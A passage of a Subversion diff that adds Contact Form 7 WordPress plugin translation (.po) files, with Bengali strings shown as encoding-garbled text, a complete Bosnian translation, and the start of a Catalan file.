+msgstr "àŠžàŠ°àŠ¬àŠ°àŠŸàŠ¹ àŠ«àŠ¿àŠ²à§àŠ¡à§àŠ° àŠàŠšà§àŠ¯"
+
+#: contact-form-7/wp-contact-form-7.php:646
+msgid "* One choice per line."
+msgstr "* àŠªà§àŠ°àŠ€àŠ¿ àŠ«àŠ¿àŠ²à§àŠ¡à§àŠ° àŠàŠšà§àŠ¯ àŠàŠàŠàŠ¿ àŠªàŠàŠšà§àŠŠ"
+
+#: contact-form-7/wp-contact-form-7.php:647
+msgid "Show"
+msgstr "àŠŠà§àŠàŠŸàŠ"
+
+#: contact-form-7/wp-contact-form-7.php:648
+msgid "Hide"
+msgstr "àŠ²à§àŠàŠŸàŠ"
+
+#: contact-form-7/wp-contact-form-7.php:649
+msgid "File size limit"
+msgstr "àŠ«àŠŸàŠàŠ² àŠžàŠŸàŠàŠ àŠžà§àŠ®àŠŸ"
+
+#: contact-form-7/wp-contact-form-7.php:650
+msgid "Acceptable file types"
+msgstr "àŠà§àŠ°àŠ¹àŠšàŠ¯à§àŠà§àŠ¯ àŠ«àŠŸàŠàŠ² àŠàŠŸàŠàŠª"
+
+#: contact-form-7/wp-contact-form-7.php:676
+msgid "Contact form created."
+msgstr "àŠ¯à§àŠàŠŸàŠ¯à§àŠ àŠ«àŠ°àŠ® àŠ€à§àŠ°à§ àŠ¹à§à§àŠà§à¥€"
+
+#: contact-form-7/wp-contact-form-7.php:679
+msgid "Contact form saved."
+msgstr "àŠ¯à§àŠàŠŸàŠ¯à§àŠ àŠ«àŠ°àŠ® àŠžàŠàŠ°àŠà§àŠ·àŠ£ àŠàŠ°àŠŸ àŠ¹à§à§àŠà§à¥€"
+
+#: contact-form-7/wp-contact-form-7.php:682
+msgid "Contact form deleted."
+msgstr "àŠ¯à§àŠàŠŸàŠ¯à§àŠ àŠ«àŠ°àŠ® àŠ®à§àŠà§ àŠŠà§àŠà§àŠŸ àŠ¹à§à§àŠà§à¥€"
+
+#: contact-form-7/wp-contact-form-7.php:693
+msgid "Untitled"
+msgstr "àŠ¶àŠ¿àŠ°à§àŠšàŠŸàŠ®àŠ¹à§àŠš"
+
+#: contact-form-7/wp-contact-form-7.php:720
+msgid "Your Name"
+msgstr "àŠàŠªàŠšàŠŸàŠ° àŠšàŠŸàŠ®"
+
+#: contact-form-7/wp-contact-form-7.php:720
+#: contact-form-7/wp-contact-form-7.php:722
+msgid "(required)"
+msgstr "(àŠàŠ¬àŠ¶à§àŠ¯àŠ)"
+
+#: contact-form-7/wp-contact-form-7.php:722
+msgid "Your Email"
+msgstr "àŠàŠªàŠšàŠŸàŠ° àŠàŠ®à§àŠàŠ²"
+
+#: contact-form-7/wp-contact-form-7.php:724
+msgid "Subject"
+msgstr "àŠ¬àŠ¿àŠ·à§"
+
+#: contact-form-7/wp-contact-form-7.php:726
+msgid "Your Message"
+msgstr "àŠàŠªàŠšàŠŸàŠ° àŠ¬àŠŸàŠ°à§àŠ€àŠŸ"
+
+#: contact-form-7/wp-contact-form-7.php:728
+#: contact-form-7/wp-contact-form-7.php:1451
+msgid "Send"
+msgstr "àŠªàŠŸàŠ àŠŸàŠš"
+
+#: contact-form-7/wp-contact-form-7.php:782
+msgid "Your message was sent successfully. Thanks."
+msgstr "àŠàŠªàŠšàŠŸàŠ° àŠ¬àŠŸàŠ°à§àŠ€àŠŸàŠàŠ¿ àŠžàŠ«àŠ²àŠ­àŠŸàŠ¬à§ àŠªàŠŸàŠ àŠŸàŠšà§ àŠ¹à§à§àŠà§à¥€ àŠ§àŠšà§àŠ¯àŠ¬àŠŸàŠŠà¥€"
+
+#: contact-form-7/wp-contact-form-7.php:784
+#: contact-form-7/wp-contact-form-7.php:786
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "àŠàŠªàŠšàŠŸàŠ° àŠ¬àŠŸàŠ°à§àŠ€àŠŸ àŠªàŠŸàŠ àŠŸàŠšà§ àŠ¯àŠŸà§ àŠšàŠ¿à¥€ àŠŠà§àŠŸ àŠàŠ°à§ àŠàŠ¬àŠŸàŠ° àŠà§àŠ·à§àŠàŠŸ àŠàŠ°à§àŠš àŠ
+àŠ¥àŠ¬àŠŸ àŠà§àŠ¯àŠ¡àŠ®àŠ¿àŠšà§àŠ° àŠžàŠŸàŠ¥à§ àŠ¯à§àŠàŠŸàŠ¯à§àŠ àŠàŠ°à§àŠšà¥€"
+
+#: contact-form-7/wp-contact-form-7.php:788
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "àŠ­à§àŠ¯àŠ²àŠ¿àŠ¡à§àŠ¶àŠšà§ àŠ€à§àŠ°à§àŠàŠ¿ àŠ§àŠ°àŠŸ àŠªà§à§àŠà§à¥€ àŠŠà§àŠŸ àŠàŠ°à§ àŠ«àŠ¿àŠ²à§àŠ¡ àŠšàŠ¿àŠ¶à§àŠàŠ¿àŠ€ àŠàŠ°à§ àŠàŠ¬àŠŸàŠ° àŠà§àŠ·à§àŠàŠŸ àŠàŠ°à§àŠšà¥€"
+
+#: contact-form-7/wp-contact-form-7.php:790
+msgid "Please accept the terms to proceed."
+msgstr "àŠŠà§àŠŸ àŠàŠ°à§ àŠàŠ àŠ¶àŠ°à§àŠ€àŠà§àŠ²à§ àŠà§àŠ°àŠ¹àŠ£ àŠàŠ°à§àŠš"
+
+#: contact-form-7/wp-contact-form-7.php:792
+msgid "Email address seems invalid."
+msgstr "àŠàŠªàŠšàŠŸàŠ° àŠàŠ®à§àŠàŠ² àŠ®àŠšà§ àŠ¹à§ àŠ­à§àŠ²à¥€"
+
+#: contact-form-7/wp-contact-form-7.php:794
+msgid "Please fill the required field."
+msgstr "àŠŠà§àŠŸ àŠàŠ°à§ àŠàŠ¬àŠ¶à§àŠ¯àŠ àŠ«àŠ¿àŠ²à§àŠ¡ àŠªà§àŠ°àŠ£ àŠàŠ°à§àŠšà¥€"
+
+#: contact-form-7/wp-contact-form-7.php:796
+msgid "Your entered code is incorrect."
+msgstr "àŠàŠªàŠšàŠŸàŠ° àŠ²à§àŠàŠŸ àŠà§àŠ¡àŠàŠ¿ àŠ­à§àŠ²à¥€"
+
+#: contact-form-7/wp-contact-form-7.php:798
+msgid "Your answer is not correct."
+msgstr "àŠàŠªàŠšàŠŸàŠ° àŠàŠ€à§àŠ€àŠ° àŠžàŠ àŠ¿àŠ àŠšà§à¥€"
+
+#: contact-form-7/wp-contact-form-7.php:800
+msgid "Failed to upload file."
+msgstr "àŠàŠªàŠ²à§àŠ¡ àŠàŠ°àŠŸ àŠžàŠ«àŠ² àŠ¹à§ àŠšàŠ¿à¥€"
+
+#: contact-form-7/wp-contact-form-7.php:802
+msgid "This file type is not allowed."
+msgstr "àŠàŠ àŠ«àŠŸàŠàŠ²àŠàŠ¿ àŠžàŠ®àŠ°à§àŠ¥àŠšàŠ¯à§àŠà§àŠ¯ àŠšà§"
+
+#: contact-form-7/wp-contact-form-7.php:804
+msgid "This file is too large."
+msgstr "àŠ«àŠŸàŠàŠ²àŠàŠ¿ àŠ¬à§à¥€"
+
+#: contact-form-7/includes/admin-panel.php:20
+msgid "Add new"
+msgstr "àŠšàŠ€à§àŠš àŠ¯à§àŠ àŠàŠ°à§àŠš"
+
+#: contact-form-7/includes/admin-panel.php:42
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "àŠàŠ àŠà§àŠ¡ àŠà§àŠ²à§ àŠàŠªàŠ¿ àŠàŠ°à§ àŠàŠªàŠšàŠŸàŠ° àŠªà§àŠžà§àŠà§, àŠªà§àŠà§ àŠàŠŸ àŠà§àŠà§àŠž àŠàŠàŠ¡àŠà§àŠà§ àŠªà§àŠžà§àŠ àŠàŠ°à§àŠš"
+
+#: contact-form-7/includes/admin-panel.php:49
+#: contact-form-7/includes/admin-panel.php:257
+msgid "Save"
+msgstr "àŠžàŠàŠ°àŠà§àŠ·àŠ£"
+
+#: contact-form-7/includes/admin-panel.php:55
+msgid "Delete this contact form"
+msgstr "àŠàŠ àŠ¯à§àŠàŠŸàŠ¯à§àŠ àŠ«àŠ°àŠ® àŠ®à§àŠà§ àŠ«à§àŠ²à§àŠš"
+
+#: contact-form-7/includes/admin-panel.php:56
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"àŠàŠªàŠšàŠ¿ àŠ¯à§àŠàŠŸàŠ¯à§àŠ àŠ«àŠ°àŠ® àŠ®à§àŠà§ àŠ«à§àŠ²àŠà§àŠšà¥€.\n"
+" àŠ¬àŠšà§àŠ§à§àŠ° àŠàŠšà§àŠ¯ âàŠ¬àŠšà§àŠ§âàŠàŠ°à§àŠš àŠàŠ¬àŠ àŠ®à§àŠàŠŸàŠ° àŠàŠšà§àŠ¯ âàŠàŠà§â àŠàŠ°à§àŠšà¥€"
+
+#: contact-form-7/includes/admin-panel.php:70
+msgid "Form"
+msgstr "àŠªà§àŠ°à§àŠ°àŠ"
+
+#: contact-form-7/includes/admin-panel.php:90
+msgid "Mail"
+msgstr "àŠ®à§àŠàŠ²"
+
+#: contact-form-7/includes/admin-panel.php:97
+#: contact-form-7/includes/admin-panel.php:149
+msgid "To:"
+msgstr "àŠªà§àŠ°àŠ€àŠ¿:"
+
+#: contact-form-7/includes/admin-panel.php:101
+#: contact-form-7/includes/admin-panel.php:153
+msgid "From:"
+msgstr "àŠªà§àŠ°à§àŠ°àŠ:"
+
+#: contact-form-7/includes/admin-panel.php:105
+#: contact-form-7/includes/admin-panel.php:157
+msgid "Subject:"
+msgstr "àŠ¬àŠ¿àŠ·à§:"
+
+#: contact-form-7/includes/admin-panel.php:110
+#: contact-form-7/includes/admin-panel.php:162
+msgid "File attachments:"
+msgstr "àŠ«àŠŸàŠàŠ² àŠžàŠàŠ¯à§àŠà§àŠ€àŠ¿:"
+
+#: contact-form-7/includes/admin-panel.php:112
+#: contact-form-7/includes/admin-panel.php:164
+msgid "(You need WordPress 2.7 or greater to use this feature)"
+msgstr "(àŠàŠªàŠšàŠŸàŠ° àŠà§àŠŸàŠ°à§àŠ¡àŠªà§àŠ°à§àŠž à§š.à§­ àŠ¬àŠŸ àŠ€àŠŸàŠ° àŠªàŠ°à§àŠ° àŠžàŠàŠžà§àŠàŠ°àŠ£ àŠŠàŠ°àŠàŠŸàŠ°)"
+
+#: contact-form-7/includes/admin-panel.php:120
+#: contact-form-7/includes/admin-panel.php:172
+msgid "Use HTML content type"
+msgstr "HTML àŠ¬àŠ¿àŠ·à§ àŠ¬à§àŠ¯àŠ¬àŠ¹àŠŸàŠ°"
+
+#: contact-form-7/includes/admin-panel.php:125
+#: contact-form-7/includes/admin-panel.php:177
+msgid "Message body:"
+msgstr "àŠ¬àŠŸàŠ°à§àŠ€àŠŸ àŠ²à§àŠàŠŸàŠ° àŠ¯àŠŸà§àŠàŠŸ:"
+
+#: contact-form-7/includes/admin-panel.php:136
+msgid "Mail (2)"
+msgstr "àŠàŠ®à§àŠàŠ² (à§š)"
+
+#: contact-form-7/includes/admin-panel.php:143
+msgid "Use mail (2)"
+msgstr "àŠ¬à§àŠ¯àŠ¬àŠ¹àŠŸàŠ° àŠ®à§àŠàŠ² (à§š)"
+
+#: contact-form-7/includes/admin-panel.php:188
+msgid "Messages"
+msgstr "àŠ¬àŠŸàŠ°à§àŠ€àŠŸ"
+
+#: contact-form-7/includes/admin-panel.php:196
+msgid "Sender's message was sent successfully"
+msgstr "àŠàŠªàŠšàŠŸàŠ° àŠ¬àŠŸàŠ°à§àŠ€àŠŸàŠàŠ¿ àŠžàŠ«àŠ²àŠ€àŠŸàŠ° àŠžàŠŸàŠ¥à§ àŠªàŠŸàŠ àŠŸàŠšà§ àŠ¹à§à§àŠà§à¥€"
+
+#: contact-form-7/includes/admin-panel.php:200
+msgid "Sender's message was failed to send"
+msgstr "àŠàŠªàŠšàŠŸàŠ° àŠ¬àŠŸàŠ°à§àŠ€àŠŸàŠàŠ¿ àŠªàŠŸàŠ àŠŸàŠšà§ àŠ¯àŠŸà§àŠšàŠ¿à¥€"
+
+#: contact-form-7/includes/admin-panel.php:204
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Akismet àŠàŠ° àŠ¹àŠ¿àŠžàŠŸàŠ¬à§ àŠàŠàŠ¿ àŠžà§àŠªà§àŠ¯àŠŸàŠ® àŠ¹àŠ¿àŠžàŠŸàŠ¬à§ àŠàŠ£à§àŠ¯ àŠ¹àŠ¬à§à¥€"
+
+#: contact-form-7/includes/admin-panel.php:208
+msgid "Validation errors occurred"
+msgstr "àŠ­à§àŠ¯àŠ²àŠ¿àŠ¡à§àŠ¶àŠšà§ àŠ€à§àŠ°à§àŠàŠ¿ àŠ§àŠ°àŠŸ àŠªà§à§àŠà§"
+
+#: contact-form-7/includes/admin-panel.php:212
+msgid "There is a field that sender is needed to fill in"
+msgstr "àŠªà§àŠ°à§àŠ°àŠà§àŠ° àŠªà§àŠ°àŠ£ àŠàŠ°àŠŸ àŠŠàŠ°àŠàŠŸàŠ° àŠàŠ®àŠš àŠ«àŠ¿àŠ²à§àŠ¡ àŠàŠŸàŠ²àŠ¿ àŠàŠà§"
+
+#: contact-form-7/includes/admin-panel.php:216
+msgid "Email address that sender entered is invalid"
+msgstr "àŠªà§àŠ°à§àŠ°àŠà§àŠ° àŠàŠ®à§àŠàŠ² àŠ àŠ¿àŠàŠŸàŠšàŠŸ àŠžàŠ àŠ¿àŠ àŠšà§"
+
+#: contact-form-7/includes/admin-panel.php:220
+msgid "There is a field of term that sender is needed to accept"
+msgstr "àŠàŠ®àŠš àŠàŠ¿àŠà§ àŠ«àŠ¿àŠ²à§àŠ¡ àŠàŠà§ àŠ¯à§àŠà§àŠ²à§ àŠªà§àŠ°à§àŠ°àŠà§àŠ° àŠà§àŠ°àŠ¹àŠ£ àŠàŠ°àŠŸ àŠŠàŠ°àŠàŠŸàŠ°"
+
+#: contact-form-7/includes/admin-panel.php:224
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr "àŠªà§àŠ°à§àŠ°àŠà§àŠ° àŠà§àŠàŠà§àŠ° àŠžàŠ àŠ¿àŠ àŠàŠ€à§àŠ€àŠ° àŠŠà§à§ àŠšàŠ¿"
+
+#: contact-form-7/includes/admin-panel.php:228
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "àŠªà§àŠ°à§àŠ°àŠà§àŠ° àŠ²à§àŠàŠŸ àŠà§àŠ¯àŠŸàŠªàŠàŠŸ àŠà§àŠ¡ àŠžàŠ àŠ¿àŠ àŠšà§"
+
+#: contact-form-7/includes/admin-panel.php:232
+msgid "Uploading a file fails for any reason"
+msgstr "àŠ
+àŠšà§àŠ¯ àŠà§àŠš àŠàŠŸàŠ°àŠ£à§ àŠàŠªàŠ²à§àŠ¡ àŠžàŠ«àŠ² àŠ¹à§ àŠšàŠ¿"
+
+#: contact-form-7/includes/admin-panel.php:236
+msgid "Uploaded file is not allowed file type"
+msgstr "àŠàŠªàŠ²à§àŠ¡ àŠàŠ°àŠŸ àŠ«àŠŸàŠàŠ²àŠàŠ¿ àŠžàŠ®àŠ°à§àŠ¥àŠšàŠ¯à§àŠà§àŠ¯ àŠšà§"
+
+#: contact-form-7/includes/admin-panel.php:240
+msgid "Uploaded file is too large"
+msgstr "àŠàŠªàŠ²à§àŠ¡ àŠàŠ°àŠŸ àŠ«àŠŸàŠàŠ² àŠ¬à§ àŠ¹à§à§àŠà§"
+
+#~ msgid "Form content"
+#~ msgstr "Contenido del formulario"
+#~ msgid "Mail template"
+#~ msgstr "Plantilla del email"
+#~ msgid "Sender field:"
+#~ msgstr "Campo de remitente:"
+#~ msgid "Recipient address:"
+#~ msgstr "DirecciÃ³n del destinatario:"
+#~ msgid "Insert"
+#~ msgstr "Insertar"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-bs.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-bs.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-bs.po	(revision 44)
@@ -0,0 +1,427 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: \n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-03-03 16:40+0900\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Vedran <tvedrantz@gmail.com>\n"
+"Language-Team: Ivan Graf\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Bosnian\n"
+"X-Poedit-Country: UNITED STATES\n"
+"X-Poedit-SourceCharset: utf-8\n"
+
+#: contact-form-7/wp-contact-form-7.php:413
+msgid "Contact form"
+msgstr "Kontaktna forma"
+
+#: contact-form-7/wp-contact-form-7.php:582
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Kontaktna Forma 7"
+
+#: contact-form-7/wp-contact-form-7.php:605
+msgid "optional"
+msgstr "opcionalno"
+
+#: contact-form-7/wp-contact-form-7.php:606
+msgid "Generate Tag"
+msgstr "Generiraj Oznaku"
+
+#: contact-form-7/wp-contact-form-7.php:607
+msgid "Text field"
+msgstr "Tekst polje"
+
+#: contact-form-7/wp-contact-form-7.php:608
+msgid "Email field"
+msgstr "Email polje"
+
+#: contact-form-7/wp-contact-form-7.php:609
+msgid "Text area"
+msgstr "Tekst podruÄje"
+
+#: contact-form-7/wp-contact-form-7.php:610
+msgid "Drop-down menu"
+msgstr "PadajuÄi meni"
+
+#: contact-form-7/wp-contact-form-7.php:611
+msgid "Checkboxes"
+msgstr "Izbornici"
+
+#: contact-form-7/wp-contact-form-7.php:612
+msgid "Radio buttons"
+msgstr "Radio dugmad"
+
+#: contact-form-7/wp-contact-form-7.php:613
+msgid "Acceptance"
+msgstr "Prihvat"
+
+#: contact-form-7/wp-contact-form-7.php:614
+msgid "Make this checkbox checked by default?"
+msgstr "Postavi izbornik za standardni?"
+
+#: contact-form-7/wp-contact-form-7.php:615
+msgid "Make this checkbox work inversely?"
+msgstr "Ucini da izbornik radi obrnuto?"
+
+#: contact-form-7/wp-contact-form-7.php:616
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* ZnaÄi da korisnik koji prihvati uvijet deselektira ga."
+
+#: contact-form-7/wp-contact-form-7.php:617
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/wp-contact-form-7.php:618
+msgid "Quiz"
+msgstr "Kviz"
+
+#: contact-form-7/wp-contact-form-7.php:619
+msgid "Quizzes"
+msgstr "Kivizovi"
+
+#: contact-form-7/wp-contact-form-7.php:620
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr "* Kviz/Odgovor (Npr. 1+1=?/2)"
+
+#: contact-form-7/wp-contact-form-7.php:621
+msgid "File upload"
+msgstr "Uploadiraj datoteku"
+
+#: contact-form-7/wp-contact-form-7.php:622
+msgid "bytes"
+msgstr "Bajtova"
+
+#: contact-form-7/wp-contact-form-7.php:623
+msgid "Submit button"
+msgstr "Posalji Dugme"
+
+#: contact-form-7/wp-contact-form-7.php:624
+msgid "Name"
+msgstr "VaÅ¡e Ime"
+
+#: contact-form-7/wp-contact-form-7.php:625
+msgid "Required field?"
+msgstr "Mandatorno polje?"
+
+#: contact-form-7/wp-contact-form-7.php:626
+msgid "Allow multiple selections?"
+msgstr "OmoguÄi viÅ¡estruki izbor?"
+
+#: contact-form-7/wp-contact-form-7.php:627
+msgid "Insert a blank item as the first option?"
+msgstr "Insertiraj praznu stavku kao poÄetni izbor?"
+
+#: contact-form-7/wp-contact-form-7.php:628
+msgid "Make checkboxes exclusive?"
+msgstr "UÄini izbornike ekskluzivnim  ?"
+
+#: contact-form-7/wp-contact-form-7.php:629
+msgid "Choices"
+msgstr "Izbori"
+
+#: contact-form-7/wp-contact-form-7.php:630
+msgid "Label"
+msgstr "Labela"
+
+#: contact-form-7/wp-contact-form-7.php:631
+msgid "Default value"
+msgstr "PoÄetna vrijednost"
+
+#: contact-form-7/wp-contact-form-7.php:632
+msgid "Akismet"
+msgstr "Askimet"
+
+#: contact-form-7/wp-contact-form-7.php:633
+msgid "This field requires author's name"
+msgstr "Polje zahtjeva vaÅ¡e ime"
+
+#: contact-form-7/wp-contact-form-7.php:634
+msgid "This field requires author's URL"
+msgstr "Polje zahtjeva web adresu autora"
+
+#: contact-form-7/wp-contact-form-7.php:635
+msgid "This field requires author's email address"
+msgstr "Ovo polje zahtijeva  E-mail adresu autorovu"
+
+#: contact-form-7/wp-contact-form-7.php:636
+msgid "Copy this code and paste it into the form left."
+msgstr "Kopiraj kod i pejstiraj u formu lijevo"
+
+#: contact-form-7/wp-contact-form-7.php:637
+msgid "Foreground color"
+msgstr "Boja forgraunda"
+
+#: contact-form-7/wp-contact-form-7.php:638
+msgid "Background color"
+msgstr "Boja bekgraunda"
+
+#: contact-form-7/wp-contact-form-7.php:639
+msgid "Image size"
+msgstr "VeliÄina ilustracije"
+
+#: contact-form-7/wp-contact-form-7.php:640
+msgid "Small"
+msgstr "Mala"
+
+#: contact-form-7/wp-contact-form-7.php:641
+msgid "Medium"
+msgstr "Srednja"
+
+#: contact-form-7/wp-contact-form-7.php:642
+msgid "Large"
+msgstr "Velika"
+
+#: contact-form-7/wp-contact-form-7.php:643
+msgid "Image settings"
+msgstr "Postavke ilustracije"
+
+#: contact-form-7/wp-contact-form-7.php:644
+msgid "Input field settings"
+msgstr "Postavke polja unosa"
+
+#: contact-form-7/wp-contact-form-7.php:645
+msgid "For image"
+msgstr "Za ilustraciju"
+
+#: contact-form-7/wp-contact-form-7.php:646
+msgid "For input field"
+msgstr "Za polje unosa"
+
+#: contact-form-7/wp-contact-form-7.php:647
+msgid "* One choice per line."
+msgstr "* Jedan izbor po liniji"
+
+#: contact-form-7/wp-contact-form-7.php:648
+msgid "Show"
+msgstr "PokaÅŸi"
+
+#: contact-form-7/wp-contact-form-7.php:649
+msgid "Hide"
+msgstr "Prikrij"
+
+#: contact-form-7/wp-contact-form-7.php:650
+msgid "File size limit"
+msgstr "Limit veliÄine fajla"
+
+#: contact-form-7/wp-contact-form-7.php:651
+msgid "Acceptable file types"
+msgstr "Prihvatljive ekstenzije fajlova"
+
+#: contact-form-7/wp-contact-form-7.php:677
+msgid "Contact form created."
+msgstr "Kreirana kontaktna forma"
+
+#: contact-form-7/wp-contact-form-7.php:680
+msgid "Contact form saved."
+msgstr "Kontaktna forma snimljena"
+
+#: contact-form-7/wp-contact-form-7.php:683
+msgid "Contact form deleted."
+msgstr "Kontaktna forma izbrisana."
+
+#: contact-form-7/wp-contact-form-7.php:694
+msgid "Untitled"
+msgstr "Neimenovano"
+
+#: contact-form-7/wp-contact-form-7.php:721
+msgid "Your Name"
+msgstr "VaÅ¡e ime"
+
+#: contact-form-7/wp-contact-form-7.php:721
+#: contact-form-7/wp-contact-form-7.php:723
+msgid "(required)"
+msgstr "(mandatorno)"
+
+#: contact-form-7/wp-contact-form-7.php:723
+msgid "Your Email"
+msgstr "VaÅ¡ Email"
+
+#: contact-form-7/wp-contact-form-7.php:725
+msgid "Subject"
+msgstr "Predmet"
+
+#: contact-form-7/wp-contact-form-7.php:727
+msgid "Your Message"
+msgstr "VaÅ¡a Poruka"
+
+#: contact-form-7/wp-contact-form-7.php:729
+#: contact-form-7/wp-contact-form-7.php:1458
+msgid "Send"
+msgstr "Å alji"
+
+#: contact-form-7/wp-contact-form-7.php:783
+msgid "Your message was sent successfully. Thanks."
+msgstr "VaÅ¡a poruka je poslana uspjesno. Hvala Vam."
+
+#: contact-form-7/wp-contact-form-7.php:785
+#: contact-form-7/wp-contact-form-7.php:787
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Slanje poruke neuspjeÅ¡no. Molimo vas pokuÅ¡ajte kasnije ili kontaktirajte administratora stranice na drugi naÄin."
+
+#: contact-form-7/wp-contact-form-7.php:789
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Desila se greÅ¡ka pri validiranju. Molimo potvrdite polja i poÅ¡aljite ponovo ."
+
+#: contact-form-7/wp-contact-form-7.php:791
+msgid "Please accept the terms to proceed."
+msgstr "Molimo prihvatite uslove da biste nastavili."
+
+#: contact-form-7/wp-contact-form-7.php:793
+msgid "Email address seems invalid."
+msgstr "Email adresa nije valjana"
+
+#: contact-form-7/wp-contact-form-7.php:795
+msgid "Please fill the required field."
+msgstr "Molimo ispunite mandatorno polje."
+
+#: contact-form-7/wp-contact-form-7.php:797
+msgid "Your entered code is incorrect."
+msgstr "Kod koji ste unijeli nije taÄan."
+
+#: contact-form-7/wp-contact-form-7.php:799
+msgid "Your answer is not correct."
+msgstr "VaÅ¡ odgovor nije taÄan."
+
+#: contact-form-7/wp-contact-form-7.php:801
+msgid "Failed to upload file."
+msgstr "Uploadiranje datoteke neuspjeÅ¡no."
+
+#: contact-form-7/wp-contact-form-7.php:803
+msgid "This file type is not allowed."
+msgstr "Ekstenzija fajla nije doyvoljenai."
+
+#: contact-form-7/wp-contact-form-7.php:805
+msgid "This file is too large."
+msgstr "Ovaj fajl je prevelik."
+
+#: contact-form-7/includes/admin-panel.php:20
+msgid "Add new"
+msgstr "Dodaj novi"
+
+#: contact-form-7/includes/admin-panel.php:42
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "Kopiraj ovaj kod i pejstiraj ga u sadrÅŸaj koji ÅŸeliÅ¡ poslati, stranicu ili tekst widget."
+
+#: contact-form-7/includes/admin-panel.php:49
+#: contact-form-7/includes/admin-panel.php:257
+msgid "Save"
+msgstr "Snimi"
+
+#: contact-form-7/includes/admin-panel.php:55
+msgid "Delete this contact form"
+msgstr "ObriÅ¡i ovu kontaktnu formu"
+
+#: contact-form-7/includes/admin-panel.php:56
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Ovime se briÅ¡e kontaktni obrazac. \n"
+"'odustani' za prekid, 'OK' za brisanje."
+
+#: contact-form-7/includes/admin-panel.php:70
+msgid "Form"
+msgstr "Forma"
+
+#: contact-form-7/includes/admin-panel.php:90
+msgid "Mail"
+msgstr "PoÅ¡ta"
+
+#: contact-form-7/includes/admin-panel.php:97
+#: contact-form-7/includes/admin-panel.php:149
+msgid "To:"
+msgstr "Za:"
+
+#: contact-form-7/includes/admin-panel.php:101
+#: contact-form-7/includes/admin-panel.php:153
+msgid "From:"
+msgstr "Od:"
+
+#: contact-form-7/includes/admin-panel.php:105
+#: contact-form-7/includes/admin-panel.php:157
+msgid "Subject:"
+msgstr "Predmet:"
+
+#: contact-form-7/includes/admin-panel.php:110
+#: contact-form-7/includes/admin-panel.php:162
+msgid "File attachments:"
+msgstr "Dodani fajl"
+
+#: contact-form-7/includes/admin-panel.php:112
+#: contact-form-7/includes/admin-panel.php:164
+msgid "(You need WordPress 2.7 or greater to use this feature)"
+msgstr "(Potreban WordPress 2.7 ili veÄi za koriÅ¡tenje ove moguÄnosti)"
+
+#: contact-form-7/includes/admin-panel.php:120
+#: contact-form-7/includes/admin-panel.php:172
+msgid "Use HTML content type"
+msgstr "Koristi HTML"
+
+#: contact-form-7/includes/admin-panel.php:125
+#: contact-form-7/includes/admin-panel.php:177
+msgid "Message body:"
+msgstr "Tijelo Poruke"
+
+#: contact-form-7/includes/admin-panel.php:136
+msgid "Mail (2)"
+msgstr "PoÅ¡ta (2)"
+
+#: contact-form-7/includes/admin-panel.php:143
+msgid "Use mail (2)"
+msgstr "Koristi poÅ¡tu (2)"
+
+#: contact-form-7/includes/admin-panel.php:188
+msgid "Messages"
+msgstr "Poruke"
+
+#: contact-form-7/includes/admin-panel.php:196
+msgid "Sender's message was sent successfully"
+msgstr "PoÅ¡iljateljeva poruka je poslana uspjeÅ¡no"
+
+#: contact-form-7/includes/admin-panel.php:200
+msgid "Sender's message was failed to send"
+msgstr "PoÅ¡iljateljeva poruka nije poslana"
+
+#: contact-form-7/includes/admin-panel.php:204
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Akismet je prosuÄuje da je poruka spam"
+
+#: contact-form-7/includes/admin-panel.php:208
+msgid "Validation errors occurred"
+msgstr "Desile su se poruke u validaciji"
+
+#: contact-form-7/includes/admin-panel.php:212
+msgid "There is a field that sender is needed to fill in"
+msgstr "Postoji polje koje mora biti ispunjeno"
+
+#: contact-form-7/includes/admin-panel.php:216
+msgid "Email address that sender entered is invalid"
+msgstr "Unesena Email adresa nije validna"
+
+#: contact-form-7/includes/admin-panel.php:220
+msgid "There is a field of term that sender is needed to accept"
+msgstr "Postoji polje koje poÅ¡iljatelj mora prihvatiti"
+
+#: contact-form-7/includes/admin-panel.php:224
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr "PoÅ¡iljatelj nije toÄno odgovorio na pitanje u kviyu"
+
+#: contact-form-7/includes/admin-panel.php:228
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "UneÅ¡en kod se ne podudara s CAPTCHA-om"
+
+#: contact-form-7/includes/admin-panel.php:232
+msgid "Uploading a file fails for any reason"
+msgstr "Uploadiranje fajla neuspjeÅ¡no  iz nekog razloga."
+
+#: contact-form-7/includes/admin-panel.php:236
+msgid "Uploaded file is not allowed file type"
+msgstr "Ekstenyija uploadiranog fajla nije doyvoljena"
+
+#: contact-form-7/includes/admin-panel.php:240
+msgid "Uploaded file is too large"
+msgstr "Uploadirani fajl je prevelik"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-ca_ES.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-ca_ES.po	(revision 44)
